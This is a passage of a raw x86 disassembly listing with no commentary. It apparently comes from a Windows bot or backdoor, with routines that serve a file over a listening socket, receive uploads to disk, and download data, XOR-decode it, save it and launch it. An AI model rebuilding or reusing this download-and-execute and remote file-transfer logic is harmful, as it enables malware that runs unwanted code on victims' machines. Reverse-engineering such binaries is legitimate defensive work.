		push	offset dword_42BAB8
		push	eax
		call	sub_4154E7
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_40B62B
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_412D4C
		add	esp, 14h

loc_40B62B:				; CODE XREF: sub_40B551+BDj
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40B16D
		pop	ecx
		push	ebx
		call	dword_43A450
		push	[ebp+var_10]
		call	sub_4152AF
		pop	ecx
		push	esi
		call	dword_421048

loc_40B64F:				; CODE XREF: sub_40B551+A3j
		push	64h
		call	dword_421060
		xor	edi, edi
		mov	esi, 1000h

loc_40B65E:				; CODE XREF: sub_40B551+168j
		push	esi
		lea	eax, [ebp+var_11B4]
		push	edi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_11B4]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_43A3D0
		test	eax, eax
		jle	short loc_40B6BB
		lea	eax, [ebp+var_11B4]
		push	offset asc_426CB4 ; "\n"
		push	eax
		call	sub_415C10
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40A5E9
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40B6BB
		push	64h
		call	dword_421060
		push	7
		call	sub_4151DB
		test	eax, eax
		pop	ecx
		jnz	short loc_40B65E

loc_40B6BB:				; CODE XREF: sub_40B551+130j
					; sub_40B551+154j
		lea	eax, [ebp+var_11B4]
		push	offset dword_42BA70
		push	eax
		call	sub_4154E7
		cmp	[ebp+var_8], edi
		pop	ecx
		pop	ecx
		jnz	short loc_40B6EE
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_412D4C
		add	esp, 14h

loc_40B6EE:				; CODE XREF: sub_40B551+180j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40B16D
		pop	ecx
		push	ebx
		call	dword_43A450
		push	[ebp+var_10]
		call	sub_4152AF
		pop	ecx
		push	edi
		call	dword_421048
sub_40B551	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B712	proc near		; DATA XREF: sub_40CE55+46F3o

var_A04		= byte ptr -0A04h
var_604		= byte ptr -604h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_3FC		= byte ptr -3FCh
var_1FC		= dword	ptr -1FCh
var_1F8		= dword	ptr -1F8h
var_1E0		= byte ptr -1E0h
var_DC		= byte ptr -0DCh
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1FC]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp+var_10], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp+var_C], esi
		mov	[ebp+var_20], esi
		call	dword_43A438
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_18], edi
		jnz	short loc_40B760
		push	offset dword_42BC9C
		jmp	loc_40B919
; ---------------------------------------------------------------------------

loc_40B760:				; CODE XREF: sub_40B712+42j
		push	10h
		lea	eax, [ebp+var_30]
		push	esi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_30], 2
		push	esi
		call	dword_43A3B8
		mov	word ptr [ebp+var_2E], ax
		lea	eax, [ebp+var_30]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_2E+2],	esi
		call	dword_43A3E4
		test	eax, eax
		jz	short loc_40B79E
		push	offset dword_42BC64
		jmp	loc_40B919
; ---------------------------------------------------------------------------

loc_40B79E:				; CODE XREF: sub_40B712+80j
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_1C], 10h
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		push	edi
		call	dword_43A35C
		push	[ebp+var_2E]
		call	dword_43A2F4
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_1E0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_415CF0
		pop	ecx

loc_40B7D0:				; CODE XREF: sub_40B712+EFj
		mov	ecx, [ebp+arg_0]
		mov	al, [ebp+ecx+var_1E0]
		cmp	al, 20h
		jnz	short loc_40B7E3
		push	5Fh
		pop	eax
		jmp	short loc_40B7E6
; ---------------------------------------------------------------------------

loc_40B7E3:				; CODE XREF: sub_40B712+CAj
		movsx	eax, al

loc_40B7E6:				; CODE XREF: sub_40B712+CFj
		mov	[ebp+ecx+var_604], al
		lea	eax, [ebp+var_1E0]
		inc	ecx
		push	eax
		mov	[ebp+arg_0], ecx
		call	sub_415CF0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jbe	short loc_40B7D0
		push	ebx
		push	edi
		call	dword_43A3E0
		test	eax, eax
		jz	short loc_40B819
		push	offset dword_42BAFC
		jmp	loc_40B919
; ---------------------------------------------------------------------------

loc_40B819:				; CODE XREF: sub_40B712+FBj
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp+var_1E0]
		push	80000000h
		push	eax
		call	dword_421078
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_40B843
		push	offset dword_42BC30
		jmp	loc_40B919
; ---------------------------------------------------------------------------

loc_40B843:				; CODE XREF: sub_40B712+125j
		push	esi
		push	eax
		call	dword_421090
		mov	[ebp+arg_0], eax
		push	eax
		movzx	eax, word ptr [ebp+var_4]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40A171
		pop	ecx
		push	eax
		call	dword_43A3F8
		push	eax
		call	dword_43A3B4
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset dword_42BC18
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_3FC]
		push	esi
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_412D4C
		add	esp, 2Ch
		lea	eax, [ebp+var_38]
		mov	[ebp+var_38], 3Ch
		mov	[ebp+var_34], esi
		push	eax
		push	esi
		lea	eax, [ebp+var_500]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_4FC], edi
		mov	[ebp+var_500], ebx
		call	dword_43A3A0
		test	eax, eax
		jg	short loc_40B8F3
		push	esi
		lea	eax, [ebp+var_DC]
		push	[ebp+var_54]
		push	offset dword_42BBEC
		push	eax
		push	[ebp+var_1FC]
		call	sub_412D4C
		jmp	loc_40BA17
; ---------------------------------------------------------------------------

loc_40B8F3:				; CODE XREF: sub_40B712+1BFj
		lea	eax, [ebp+var_14]
		mov	[ebp+var_14], 10h
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		push	edi
		call	dword_43A44C
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_1F8], eax
		jnz	short loc_40B92C
		push	offset dword_42BBB4

loc_40B919:				; CODE XREF: sub_40B712+49j
					; sub_40B712+87j ...
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx
		jmp	loc_40BA1A
; ---------------------------------------------------------------------------

loc_40B92C:				; CODE XREF: sub_40B712+200j
		push	edi
		call	dword_43A450
		cmp	[ebp+arg_0], esi
		jz	loc_40B9DE
		mov	edi, 400h

loc_40B941:				; CODE XREF: sub_40B712+2C3j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		cmp	eax, edi
		jge	short loc_40B94E
		mov	[ebp+var_4], eax

loc_40B94E:				; CODE XREF: sub_40B712+237j
		push	edi
		lea	eax, [ebp+var_A04]
		push	esi
		push	eax
		call	sub_415570
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	[ebp+var_8]
		call	dword_4210AC
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8]
		call	dword_421068
		push	esi
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_1F8]
		call	dword_43A408
		mov	[ebp+var_4], eax
		push	esi
		cdq
		add	[ebp+var_10], eax
		lea	eax, [ebp+var_A04]
		push	edi
		push	eax
		push	[ebp+var_1F8]
		adc	[ebp+var_C], edx
		call	dword_43A3D0
		cmp	eax, ebx
		jl	loc_40BA73
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		jl	loc_40BA73
		sub	[ebp+arg_0], eax
		jnz	loc_40B941
		mov	edi, [ebp+var_18]

loc_40B9DE:				; CODE XREF: sub_40B712+224j
		push	[ebp+var_8]
		call	dword_42106C
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_40C218
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		push	[ebp+var_44]
		call	dword_43A444
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset dword_42BB60
		push	eax
		call	sub_4154E7

loc_40BA17:				; CODE XREF: sub_40B712+1DCj
		add	esp, 14h

loc_40BA1A:				; CODE XREF: sub_40B712+215j
		cmp	[ebp+var_50], esi
		jnz	short loc_40BA3F
		push	esi
		lea	eax, [ebp+var_3FC]
		push	[ebp+var_54]
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_412D4C
		add	esp, 14h

loc_40BA3F:				; CODE XREF: sub_40B712+30Bj
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_40B16D
		cmp	edi, esi
		pop	ecx
		jbe	short loc_40BA57
		push	edi
		call	dword_43A450

loc_40BA57:				; CODE XREF: sub_40B712+33Cj
		push	[ebp+var_1F8]
		call	dword_43A450
		push	[ebp+var_58]
		call	sub_4152AF
		pop	ecx
		push	esi
		call	dword_421048

loc_40BA73:				; CODE XREF: sub_40B712+2AFj
					; sub_40B712+2BAj
		push	esi
		mov	esi, offset dword_42BB34
		push	[ebp+var_54]
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	[ebp+var_1FC]
		call	sub_412D4C
		push	esi
		call	sub_40B16D
		add	esp, 18h
		push	[ebp+var_1F8]
		call	dword_43A450
		push	[ebp+var_58]
		call	sub_4152AF
		pop	ecx
		push	ebx
		call	dword_421048
sub_40B712	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BAB4	proc near		; DATA XREF: sub_40CE55+7B7o

var_14C4	= byte ptr -14C4h
var_4C4		= byte ptr -4C4h
var_2C4		= byte ptr -2C4h
var_1C0		= dword	ptr -1C0h
var_1B8		= byte ptr -1B8h
var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_415D70
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1C0]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp+var_8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_2C4]
		push	104h
		push	eax
		call	dword_421058
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aSS_2	; "%s%s"
		push	eax
		call	sub_4154E7
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		call	dword_421078
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40BB3E
		push	offset dword_42BDA4
		jmp	short loc_40BB84
; ---------------------------------------------------------------------------

loc_40BB3E:				; CODE XREF: sub_40BAB4+81j
		push	eax
		call	dword_42106C
		lea	eax, [ebp+var_2C4]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_415BE8
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jnz	short loc_40BB66
		push	offset dword_42BD60
		jmp	short loc_40BB84
; ---------------------------------------------------------------------------

loc_40BB66:				; CODE XREF: sub_40BAB4+A9j
		push	[ebp+var_20]
		lea	eax, [ebp+var_1B8]
		push	eax
		call	sub_40B4CB
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+arg_0], eax
		jnz	short loc_40BB97
		push	offset dword_42BD2C

loc_40BB84:				; CODE XREF: sub_40BAB4+88j
					; sub_40BAB4+B0j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx
		jmp	loc_40BC91
; ---------------------------------------------------------------------------

loc_40BB97:				; CODE XREF: sub_40BAB4+C9j
		mov	esi, 1000h

loc_40BB9C:				; CODE XREF: sub_40BAB4+14Ej
		push	esi
		lea	eax, [ebp+var_14C4]
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_14C4]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_43A3D0
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40BC63
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40BC04
		push	[ebp+var_4]
		lea	eax, [ebp+var_14C4]
		push	edi
		push	1
		push	eax
		call	sub_4175FF
		add	[ebp+var_8], edi
		add	esp, 10h
		push	[ebp+var_8]
		call	dword_43A3B4
		mov	[ebp+var_C], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_43A408
		jmp	short loc_40BB9C
; ---------------------------------------------------------------------------

loc_40BC04:				; CODE XREF: sub_40BAB4+118j
		lea	eax, [ebp+var_4C4]
		push	offset dword_42BB34
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_412D4C
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_40B16D
		push	[ebp+var_4]
		call	sub_415B40
		add	esp, 24h
		push	[ebp+arg_0]
		call	dword_43A450
		push	[ebp+var_1C]
		call	sub_4152AF
		pop	ecx
		push	1
		call	dword_421048

loc_40BC63:				; CODE XREF: sub_40BAB4+10Fj
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_40C218
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	offset dword_42BCD4
		push	eax
		call	sub_4154E7
		add	esp, 1Ch

loc_40BC91:				; CODE XREF: sub_40BAB4+DEj
		cmp	[ebp+var_14], ebx
		jnz	short loc_40BCB6
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_412D4C
		add	esp, 14h

loc_40BCB6:				; CODE XREF: sub_40BAB4+1E0j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_40B16D
		cmp	[ebp+var_4], ebx
		pop	ecx
		jz	short loc_40BCD1
		push	[ebp+var_4]
		call	sub_415B40
		pop	ecx

loc_40BCD1:				; CODE XREF: sub_40BAB4+212j
		cmp	[ebp+arg_0], ebx
		jbe	short loc_40BCDF
		push	[ebp+arg_0]
		call	dword_43A450

loc_40BCDF:				; CODE XREF: sub_40BAB4+220j
		push	[ebp+var_1C]
		call	sub_4152AF
		pop	ecx
		push	ebx
		call	dword_421048
sub_40BAB4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BCEF	proc near		; DATA XREF: sub_40CE55+36E9o
					; sub_40CE55+3E36o

var_590		= qword	ptr -590h
var_584		= qword	ptr -584h
var_510		= byte ptr -510h
var_310		= dword	ptr -310h
var_304		= dword	ptr -304h
var_2E4		= dword	ptr -2E4h
var_2E0		= word ptr -2E0h
var_2CC		= dword	ptr -2CCh
var_2C8		= byte ptr -2C8h
var_248		= byte ptr -248h
var_148		= byte ptr -148h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp+var_2CC]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		push	dword_43A368
		call	dword_43A2C8
		cmp	eax, esi
		mov	[ebp+var_18], eax
		jz	loc_40C17B
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	40000000h
		push	eax
		call	dword_421078
		cmp	eax, edi
		mov	[ebp+var_20], eax
		jnb	short loc_40BDB6
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_42C060
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40BD99
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_412D4C
		add	esp, 14h

loc_40BD99:				; CODE XREF: sub_40BCEF+88j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40B16D
		push	[ebp+var_48]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	esi
		call	dword_421048

loc_40BDB6:				; CODE XREF: sub_40BCEF+68j
		xor	edi, edi
		call	dword_42104C
		mov	ebx, 7D000h
		mov	dword ptr [ebp+var_8+4], eax
		push	ebx
		call	sub_415DC9
		pop	ecx
		mov	[ebp+var_1C], eax

loc_40BDD0:				; CODE XREF: sub_40BCEF+1B4j
		push	200h
		lea	eax, [ebp+var_510]
		push	esi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_510]
		push	200h
		push	eax
		push	[ebp+var_18]
		call	dword_43A2D0
		cmp	[ebp+var_34], esi
		jz	short loc_40BE14
		push	[ebp+arg_0]
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40C1E1
		pop	ecx
		pop	ecx

loc_40BE14:				; CODE XREF: sub_40BCEF+112j
		lea	eax, [ebp+var_24]
		push	esi
		push	eax
		lea	eax, [ebp+var_510]
		push	[ebp+arg_0]
		push	eax
		push	[ebp+var_20]
		call	dword_421070
		cmp	edi, ebx
		jnb	short loc_40BE52
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+arg_0]
		jbe	short loc_40BE3C
		mov	eax, [ebp+arg_0]

loc_40BE3C:				; CODE XREF: sub_40BCEF+148j
		push	eax
		lea	eax, [ebp+var_510]
		push	eax
		mov	eax, [ebp+var_1C]
		add	eax, edi
		push	eax
		call	sub_4155D0
		add	esp, 0Ch

loc_40BE52:				; CODE XREF: sub_40BCEF+13Fj
		add	edi, [ebp+arg_0]
		cmp	[ebp+var_3C], esi
		jz	short loc_40BE5F
		cmp	edi, [ebp+var_3C]
		ja	short loc_40BEA9

loc_40BE5F:				; CODE XREF: sub_40BCEF+169j
		cmp	[ebp+var_44], 1
		mov	eax, edi
		jz	short loc_40BE79
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_42C014
		jmp	short loc_40BE89
; ---------------------------------------------------------------------------

loc_40BE79:				; CODE XREF: sub_40BCEF+176j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_42BFD0

loc_40BE89:				; CODE XREF: sub_40BCEF+188j
		mov	eax, [ebp+var_48]
		imul	eax, 234h
		add	eax, offset dword_43F348
		push	eax
		call	sub_4154E7
		add	esp, 10h
		cmp	[ebp+arg_0], esi
		ja	loc_40BDD0

loc_40BEA9:				; CODE XREF: sub_40BCEF+16Ej
		cmp	[ebp+var_3C], esi
		mov	[ebp+var_14], 1
		jz	short loc_40BEFE
		cmp	edi, [ebp+var_3C]
		jz	short loc_40BEFE
		push	[ebp+var_3C]
		lea	eax, [ebp+var_510]
		mov	[ebp+var_14], esi
		push	edi
		push	offset unk_42BF88
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_412D4C
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40B16D
		add	esp, 28h

loc_40BEFE:				; CODE XREF: sub_40BCEF+1C4j
					; sub_40BCEF+1C9j
		call	dword_42104C
		sub	eax, dword ptr [ebp+var_8+4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	[ebp+var_20]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	dword_42106C
		push	[ebp+var_1C]
		call	sub_415E3D
		cmp	[ebp+var_38], esi
		pop	ecx
		jz	short loc_40BF88
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_40B459
		cmp	eax, [ebp+var_38]
		pop	ecx
		jz	short loc_40BF88
		push	[ebp+var_38]
		mov	[ebp+var_14], esi
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_42BF4C
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_412D4C
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40B16D
		add	esp, 28h

loc_40BF88:				; CODE XREF: sub_40BCEF+241j
					; sub_40BCEF+253j
		cmp	[ebp+var_14], esi
		jz	loc_40C1C8
		cmp	[ebp+var_44], 1
		jz	loc_40C083
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_421660
		lea	eax, [ebp+var_148]
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_421660
		fstp	[esp+590h+var_590]
		push	offset unk_42BF00
		push	eax
		call	sub_4154E7
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40C003
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_412D4C
		add	esp, 14h

loc_40C003:				; CODE XREF: sub_40BCEF+2F2j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40B16D
		cmp	[ebp+var_40], 1
		pop	ecx
		jnz	loc_40C1C8
		push	5
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_43A32C
		cmp	[ebp+var_30], esi
		jnz	loc_40C1C8
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset dword_42BEC8
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_412D4C
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40B16D
		add	esp, 24h
		jmp	loc_40C1C8
; ---------------------------------------------------------------------------

loc_40C083:				; CODE XREF: sub_40BCEF+2A6j
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_421660
		lea	eax, [ebp+var_148]
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_421660
		fstp	[esp+590h+var_590]
		push	offset unk_42BE74
		push	eax
		call	sub_4154E7
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40C0EB
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_412D4C
		add	esp, 14h

loc_40C0EB:				; CODE XREF: sub_40BCEF+3DAj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40B16D
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_415570
		push	44h
		lea	eax, [ebp+var_310]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_415570
		add	esp, 1Ch
		mov	[ebp+var_310], edi
		lea	eax, [ebp+var_10]
		mov	[ebp+var_304], offset byte_438FDC
		push	1
		mov	[ebp+var_2E0], si
		pop	edi
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_2E4], edi
		call	dword_4210EC
		cmp	eax, edi
		jnz	short loc_40C16D
		call	dword_43A318
		call	sub_409E15
		push	esi
		call	dword_421114

loc_40C16D:				; CODE XREF: sub_40BCEF+46Aj
		lea	eax, [ebp+var_148]
		push	eax
		push	offset unk_42BE28
		jmp	short loc_40C187
; ---------------------------------------------------------------------------

loc_40C17B:				; CODE XREF: sub_40BCEF+45j
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_42BDE8

loc_40C187:				; CODE XREF: sub_40BCEF+48Aj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40C1BB
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_412D4C
		add	esp, 14h

loc_40C1BB:				; CODE XREF: sub_40BCEF+4AAj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40B16D
		pop	ecx

loc_40C1C8:				; CODE XREF: sub_40BCEF+29Cj
					; sub_40BCEF+325j ...
		push	[ebp+var_18]
		call	dword_43A3EC
		push	[ebp+var_48]
		call	sub_4152AF
		pop	ecx
		push	esi
		call	dword_421048
sub_40BCEF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40C1E1	proc near		; CODE XREF: sub_40BCEF+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_40C1FD

loc_40C1ED:				; CODE XREF: sub_40C1E1+1Aj
		mov	dl, byte_42C19C
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_40C1ED

locret_40C1FD:				; CODE XREF: sub_40C1E1+Aj
		retn
sub_40C1E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C1FE	proc near		; CODE XREF: sub_40CE55+293Cp
					; sub_40CE55+2A93p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_417709
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_40C1FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C218	proc near		; CODE XREF: sub_4063B0+45Dp
					; sub_4063B0+5F9p ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_43E788
		push	0
		push	edi
		call	sub_415570
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]

loc_40C23D:				; CODE XREF: sub_40C218+5Bj
					; sub_40C218+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
